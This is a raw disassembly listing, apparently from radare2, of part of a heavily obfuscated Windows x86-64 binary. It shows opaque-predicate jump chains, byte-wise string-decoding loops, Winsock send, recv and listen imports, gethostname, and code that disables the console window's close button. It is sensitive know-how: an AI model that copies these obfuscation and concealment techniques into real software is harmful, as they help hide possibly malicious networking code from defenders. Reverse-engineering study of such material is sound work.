jb 0x1400baea1
lea rax, [r10 + 0xa]
cmp r8, rax
jb 0x1400bae82
lea rax, [r10 + 0x200]
cmp r8, rax
jb 0x1400bb01e
lea rax, [r10 + 0x2a]
cmp r8, rax
jb 0x1400bafdd
lea rax, [r10 + 0x61]
cmp r8, rax
jb 0x1400bafb5
lea rax, [r10 + 9]
cmp r8, rax
jb 0x1400bad10
lea r8, [r10 + 6]
lea r10, [r8 + 4]
lea rax, [r10 + 2]
cmp r8, rax
ja 0x1400baf83
lea rax, [r10 + 0x42]
cmp r8, rax
ja 0x1400baf62
lea rax, [r10 + 0x10]
cmp r8, rax
ja 0x1400baf43
lea rax, [r10 + 0x7a]
cmp r8, rax
ja 0x1400baf26
lea rax, [r10 + 0x3e8]
cmp r8, rax
ja 0x1400baf05
lea rax, [r10 + 1]
cmp r8, rax
ja 0x1400baee2
lea rax, [r10 + 0xa]
cmp r8, rax
ja 0x1400baec1
lea rax, [r10 + 5]
cmp r8, rax
ja 0x1400bad10
lea r8, [r10 + 3]
lea r10, [r8 + 0x200]
jmp 0x1400bad10
lea ecx, [r11 + 0x4f]
movzx eax, r9b
and al, cl
add al, al
movzx r15d, r9b
sub r15b, al
sub r15b, 0x29
add r15b, cl
jmp 0x1400bac90
add r11b, 0x21
movzx eax, r9b
and al, r11b
add al, al
movzx r15d, r9b
sub r15b, al
add r15b, 0x19
add r15b, r11b
jmp 0x1400bac20
lea ecx, [r11 + 0x18]
movzx eax, r9b
and al, cl
mov r15d, Ordinal_45
sub r15b, al
add r15b, r15b
add r15b, r9b
add r15b, cl
jmp 0x1400bb5c6
sub r11b, 0x44
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
sub r15b, 0x24
dec rsi
inc rsi
jmp 0x1400bac02
add r11b, 0x60
movzx eax, r9b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r9b
add r15b, r11b
jmp 0x1400bb62a
add r11b, 0x32
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
sub r15b, 0x5e
jmp 0x1400bb62d
lea edx, [r11 + 4]
movzx eax, r9b
and al, dl
add al, al
movzx r15d, r9b
sub r15b, al
sub r15b, 0x1c
add r15b, dl
jmp 0x1400bb669
sub r11b, 0x2a
movzx eax, r9b
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r9b
add r15b, r11b
jmp 0x1400bb694
sub r11b, 0x58
movzx eax, r9b
and al, r11b
mov ecx, 0x34
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r9b
add r15b, r11b
movzx eax, byte [rbp + rsi + 0xe0]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400bac02
add r11b, 0x35
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
sub r15b, 0x73
mov byte [rbp + rsi + 0xe0], r15b
inc rsi
jmp 0x1400bac02
lea edx, [r11 + 7]
movzx eax, r9b
and al, dl
add al, al
movzx r15d, r9b
sub r15b, al
sub r15b, 0x31
add r15b, dl
cmp r10, 1
jb 0x1400bafcd
lea edx, [r11 + 0x2a]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea r15d, [rcx*2 - 0x4c]
jmp 0x1400bb5c6
lea edx, [r11 - 0x55]
movzx eax, r9b
and al, dl
add al, al
movzx r15d, r9b
sub r15b, al
add r15b, 0x53
add r15b, dl
lea rax, [r10 + r8]
cmp rax, 0x80
je 0x1400bb502
lea rdx, [r10 + 5]
cmp r8, rdx
jbe 0x1400bb2da
lea edx, [r11 + 0x7b]
movzx eax, r9b
and al, dl
add al, al
movzx r15d, r9b
sub r15b, al
sub r15b, 0x5d
add r15b, dl
cmp r8, 4
jae 0x1400bb4bd
lea rcx, [r10 + 2]
cmp r8, rcx
jbe 0x1400bb3d3
lea edx, [r11 + 0x5e]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r9b
jmp 0x1400baff4
add r11b, 0x52
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
sub r15b, 0x3e
movzx eax, byte [rbp + rsi + 0xe0]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400bac02
add r11b, 0x24
movzx eax, r9b
and al, r11b
mov ecx, 2
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r9b
add r15b, r11b
jmp 0x1400bb694
lea edx, [r11 - 0xa]
movzx eax, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r9b
add r15b, dl
jmp 0x1400bb669
sub r11b, 0x66
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
sub r15b, 0x36
jmp 0x1400bb62a
lea edx, [r11 + 0x6c]
movzx eax, r9b
and al, dl
mov ecx, 6
sub cl, al
lea r15d, [rcx + rcx]
jmp 0x1400bb4d4
add r11b, 0x3e
movzx eax, r9b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r9b
add r15b, r11b
dec rsi
inc rsi
jmp 0x1400bac02
add r11b, 0x10
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
sub r15b, 0x70
inc r10
dec rsi
inc rsi
jmp 0x1400bac02
lea edx, [r11 - 0x1e]
movzx eax, r9b
and al, dl
add al, al
movzx r15d, r9b
sub r15b, al
sub r15b, 0x2e
jmp 0x1400bb5c3
lea rax, [r10 + 0x64]
cmp rbx, rax
jae 0x1400bb1d7
lea edx, [r11 + 0x17]
movzx eax, r9b
and al, dl
add al, al
movzx r15d, r9b
sub r15b, al
add r15b, 0x5f
jmp 0x1400bb035
lea rcx, [r10 + 1]
cmp rbx, rcx
jne 0x1400bb20e
sub r11b, 0x3a
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
sub r15b, 0x6a
movzx eax, byte [rbp + rsi + 0xe0]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400bac02
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400bb237
lea edx, [r11 + 0x22]
movzx eax, r9b
and al, dl
mov ecx, 9
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r9b
add r15b, dl
jmp 0x1400bb669
lea rax, [rcx + 1]
cmp rbx, rax
jne 0x1400bb25d
add r11b, 0x50
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
sub r15b, 0x30
jmp 0x1400bb62d
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1400bb283
add r11b, 0x7e
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
sub r15b, 0x72
jmp 0x1400bb62a
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400bb2a6
lea edx, [r11 - 0x54]
movzx eax, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r15d, [rcx + rcx]
jmp 0x1400bb4d4
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1400bb038
sub r11b, 0x26
movzx eax, r9b
and al, r11b
mov ecx, 5
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r9b
add r15b, r11b
dec rsi
inc rsi
jmp 0x1400bac02
lea rcx, [r10 + 1]
cmp r8, rcx
jne 0x1400bb2ff
lea edx, [r11 - 0x57]
movzx eax, r9b
and al, dl
add al, al
movzx r15d, r9b
sub r15b, al
add r15b, 0x61
jmp 0x1400bb5c3
lea rax, [r10 + 2]
cmp r8, rax
jne 0x1400bb32b
add r11b, 5
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
sub r15b, 0x23
dec rsi
inc rsi
jmp 0x1400bac02
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400bb350
lea edx, [r11 + 0x33]
movzx eax, r9b
and al, dl
add al, al
movzx r15d, r9b
sub r15b, al
sub r15b, 0x65
jmp 0x1400bb4d7
lea rax, [r10 + 3]
cmp r8, rax
jne 0x1400bb376
add r11b, 0x61
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
add r15b, 0x59
jmp 0x1400bb62a
cmp r8, rdx
jne 0x1400bb398
sub r11b, 0x71
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
add r15b, 0x17
jmp 0x1400bb62d
lea rax, [r10 + 9]
cmp r8, rax
jne 0x1400bb06f
add r11b, 0x19
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
add r15b, 0x51
movzx eax, byte [rbp + rsi + 0xe0]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400bac02
lea rax, [r10 + 1]
cmp r8, rax
jne 0x1400bb40e
sub r11b, 0x74
movzx eax, r9b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r9b
add r15b, r11b
movzx eax, byte [rbp + rsi + 0xe0]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400bac02
cmp r8, rcx
jne 0x1400bb434
add r11b, 0x44
movzx eax, r9b
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r9b
add r15b, r11b
jmp 0x1400bb62a
lea rax, [r10 + 4]
cmp r8, rax
jne 0x1400bb460
sub r11b, 0x60
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
sub r15b, 0x60
dec rsi
inc rsi
jmp 0x1400bac02
lea rax, [r10 + 3]
cmp r8, rax
jne 0x1400bb493
sub r11b, 0x32
movzx eax, r9b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r9b
add r15b, r11b
inc r10
dec rsi
inc rsi
jmp 0x1400bac02
lea rax, [r10 + 6]
cmp r8, rax
jne 0x1400baff7
lea edx, [r11 - 4]
movzx eax, r9b
and al, dl
mov ecx, recv
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r9b
jmp 0x1400bb5c3
lea edx, [r11 + 0x58]
movzx eax, r9b
and al, dl
add al, al
movzx r15d, r9b
sub r15b, al
sub r15b, 0x68
add r15b, r9b
add r15b, dl
add r11b, 0x6f
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, r15b
sub cl, al
sub cl, 9
add cl, r9b
add cl, r11b
mov byte [rbp + rsi + 0xe0], cl
jmp 0x1400bb62a
lea edx, [r11 - 0x7a]
movzx eax, r9b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
jmp 0x1400bb669
sub r11b, 0x7f
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
add r15b, 0x79
movzx eax, byte [rbp + rsi + 0xe0]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400bac02
lea edx, [r11 + 0x25]
movzx eax, r9b
and al, dl
add al, al
movzx r15d, r9b
sub r15b, al
sub r15b, 3
add r15b, dl
jmp 0x1400bb669
sub r11b, 0x37
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
sub r15b, 0x7f
jmp 0x1400bb62a
add r11b, 0x6d
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
add r15b, 5
dec rsi
inc rsi
jmp 0x1400bac02
lea edx, [r11 + 0x11]
movzx eax, r9b
and al, dl
add al, al
movzx r15d, r9b
sub r15b, al
sub r15b, 0x77
add r15b, dl
add r11b, 0x41
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x39
add r9b, r11b
mov byte [rbp + rsi + 0xe0], r9b
inc r10
dec rsi
inc rsi
jmp 0x1400bac02
lea ecx, [rsi + 0x59]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea r15d, [rcx + r9]
sub r15b, 0x6f
dec rsi
inc rsi
jmp 0x1400bac02
lea ecx, [rsi - 3]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea r15d, [rcx + r9]
add r15b, 0x15
add r8, r10
movzx eax, r15b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400bac02
movabs rcx, 0x7b43bcd209f622a1
add rcx, rsi
and dl, cl
add dl, dl
movzx r15d, r9b
sub r15b, dl
sub r15b, 0x67
add r15b, cl
movzx r11d, sil
sub r11b, 0x63
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x4b
add r11b, r9b
movzx eax, r11b
mov byte [rbp + rsi + 0xe0], al
inc r10
add rax, r10
sub rsi, rax
lea edx, [rsi - 0x4c]
movzx eax, dl
and al, r9b
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + rsi + 0xe0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0xe0]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400bac02
movabs rax, 0x59662c5a0444ea45
add rax, rsi
and dl, al
add dl, dl
sub r9b, dl
lea r15d, [rax + r9]
add r15b, 0x1d
movzx eax, byte [rbp + rsi + 0xe0]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400bac02
sub r11b, 0xd
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
add r15b, 0x5b
jmp 0x1400bac00
sub r11b, 0x3b
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
sub r15b, 0x63
jmp 0x1400babf0
mov eax, dword [rbp + 0x1447854]
jmp 0x1400bb75a
mov eax, dword [rbp + 0xf0c66b]
jmp 0x1400bb75a
mov eax, dword [rbp + 0xe0]
cdqe
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.14005ab70
mov rcx, rax
call fcn.14005abe0
jmp 0x1400b94c2
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_GetSystemMenu]
mov rcx, rax
mov edx, 0xf060
mov r8d, 1
call qword [sym.imp.USER32.dll_EnableMenuItem]
mov byte [rbp + 0x180], Ordinal_217
mov byte [rbp + 0x181], Ordinal_200
mov byte [rbp + 0x182], 0xca
mov byte [rbp + 0x183], Ordinal_200
mov byte [rbp + 0x184], Ordinal_200
mov byte [rbp + 0x185], 0xb9
mov byte [rbp + 0x186], Ordinal_50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x187], xmm0
mov qword [rbp + 0x197], rax
mov dword [rbp + 0x19f], eax
movabs rsi, 0x84948ac9e668e6f9
movabs r14, 0xa938e11919b01ec1
movabs r12, 0xa00fcb854cde50cf
movabs r15, 0x8dbda05db33ab4eb
movzx edx, byte [rsp + 0x30]
xor r13d, r13d
nop dword [rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
mov rbx, r13
cmp rbx, 0x23
jae 0x1400bc3f1
movzx r11d, byte [rbp + rbx + 0x180]
mov edi, r11d
nop dword [rax]
cmp r8, rbx
ja 0x1400bc3e8
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bb87b
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
add dl, 0x31
jmp 0x1400bb8c1
je 0x1400bc37d
inc rax
cmp r8, rax
je 0x1400bc2f4
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bc2c8
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bc288
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bc269
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bc247
movzx r10d, bl
cmp r9, rbx
ja 0x1400bc3df
lea rax, [r9 + 6]
cmp r8, rax
jae 0x1400bb8ee
lea ecx, [r10 + 0x6d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 5
jmp 0x1400bb940
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400bc205
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bc1e3
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400bc1c9
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bc1aa
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bc18e
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bc174
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400bbe97
nop dword [rax]
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400bbe7a
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400bbe51
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400bbe2f
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400bbe12
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400bbdf3
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400bbdd7
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400bbdbc
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400bbd9e
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bbd6d
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400bb950
mov r8, rcx
lea r9, [rcx + 3]
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x1400bc3c3
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x1400bc3a7
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x1400bbb31
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x1400bbb17
lea rax, [r9 + 0x80]
cmp rcx, rax
jb 0x1400bbafd
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x1400bbd24
lea rcx, [r9 + 0x200]
cmp r8, rcx
jb 0x1400bbcdf
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400bbca2
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400bbc7c
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400bb950
mov r8, rcx
lea r9, [rcx + 0x400]
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x1400bbc4b
lea rax, [r9 + 0x3e8]
cmp rcx, rax
ja 0x1400bbc2b
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x1400bbc11
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x1400bbbf1
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x1400bbbd2
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x1400bbbb5
lea rcx, [r9 + 9]
cmp r8, rcx
ja 0x1400bbb8f
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400bbb6a
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400bbb4d
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400bb950
mov r8, rcx
lea r9, [rcx + 0x10]
jmp 0x1400bb950
lea ecx, [r10 + 0x33]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x65
jmp 0x1400bb940
lea ecx, [r10 + 0x41]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x39
jmp 0x1400bb8c5
add r10b, 0x4f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x29
jmp 0x1400bb850
lea edx, [r10 + 0x68]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400bc21a
add r10b, 0x76
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x3a
inc r9
dec rbx
inc rbx
jmp 0x1400bb833
sub r10b, 0x7c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x1400bb833
lea edx, [r10 - 0x6e]
movzx eax, r11b
and al, dl
mov ecx, 1
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400bc2a1
sub r10b, 0x60
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x60
add r8, r9
jmp 0x1400bc2dc
sub r10b, 0x52
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400bc2dc
lea edx, [r10 - 0x44]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x24
jmp 0x1400bc30c
sub r10b, 0x36
movzx eax, r11b
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400bc33a
sub r10b, 0x28
movzx eax, r11b
and al, r10b
mov ecx, recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rbp + rbx + 0x180]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bb833
sub r10b, 5
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x23
mov byte [rbp + rbx + 0x180], dl
inc rbx
jmp 0x1400bb833
lea edx, [r10 + 9]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x3f
add dl, cl
cmp r9, 0x61
jb 0x1400bbc93
lea edx, [r10 + 0x36]
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400bc21a
lea edx, [r10 + 0x17]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x5f
add dl, cl
cmp r8, 5
jae 0x1400bc13d
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400bc060
lea edx, [r10 - 0x3e]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x4e
jmp 0x1400bbcb7
lea edx, [r10 + 0x25]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 3
add dl, cl
lea rax, [r8 + r9]
cmp rax, 0x42
je 0x1400bc15c
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400bbf64
lea edx, [r10 + 0x55]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x53
jmp 0x1400bbcf4
sub r10b, 0x72
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rbp + rbx + 0x180]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bb833
sub r10b, 0x64
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x44
add dl, r10b
jmp 0x1400bc33a
lea edx, [r10 - 0x56]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r11b
jmp 0x1400bc30c
sub r10b, 0x48
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 8
jmp 0x1400bc2dc
sub r10b, 0x3a
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x6a
add r8, r9
jmp 0x1400bc2dc
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bc2a1
sub r10b, 0x1e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2e
dec rbx
inc rbx
jmp 0x1400bb833
sub r10b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400bb833
lea edx, [r10 - 2]
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bc21a
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400bbeba
lea ecx, [r10 - 7]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x31
jmp 0x1400bbd3b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bbef4
sub r10b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x180]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bb833
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bbf17
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x32
jmp 0x1400bc30e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bbf3a
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xc
jmp 0x1400bc2a1
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bbd3b
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bc21a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bbf89
lea edx, [r10 + 0x47]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0xf
add dl, cl
jmp 0x1400bc21a
inc rax
cmp r8, rax
jne 0x1400bbfb6
add r10b, 0x39
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x71
inc r9
dec rbx
inc rbx
jmp 0x1400bb833
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bbfdb
lea edx, [r10 + 0x1d]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x35
add dl, cl
jmp 0x1400bc2a1
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bbfff
inc r10b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 7
jmp 0x1400bc2dc
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bc026
sub r10b, 0x1b
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x43
add dl, r10b
jmp 0x1400bc33a
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400bbcf6
sub r10b, 0x29
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x1f
movzx eax, byte [rbp + rbx + 0x180]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bb833
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400bc09a
sub r10b, 0x4c
movzx eax, r11b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rbp + rbx + 0x180]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bb833
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bc0bd
lea edx, [r10 - 0x68]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x28
jmp 0x1400bc30c
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bc0e5
add r10b, 0x7c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x64
add r8, r9
jmp 0x1400bc2dc
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bc10a
lea edx, [r10 + 0x6e]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 2
add dl, cl
jmp 0x1400bc2a1
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400bbcb9
add r10b, 0x60
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x1400bb833
lea edx, [r10 + 0x28]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x18
add dl, cl
add dl, r11b
jmp 0x1400bc2a1
lea edx, [r10 + 0x1a]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
jmp 0x1400bc30c
lea ecx, [r10 + 0xb]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4d
jmp 0x1400bc30e
add r10b, 0x19
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x51
jmp 0x1400bc2dc
add r10b, 0x27
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x11
add r8, r9
jmp 0x1400bc2dc
lea ecx, [r10 + 0x35]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x73
jmp 0x1400bc2a1
add r10b, 0x43
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
